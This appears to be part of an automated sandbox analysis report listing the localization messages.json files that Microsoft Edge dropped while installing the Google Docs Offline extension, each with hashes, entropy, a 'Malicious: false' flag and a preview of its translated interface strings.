Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

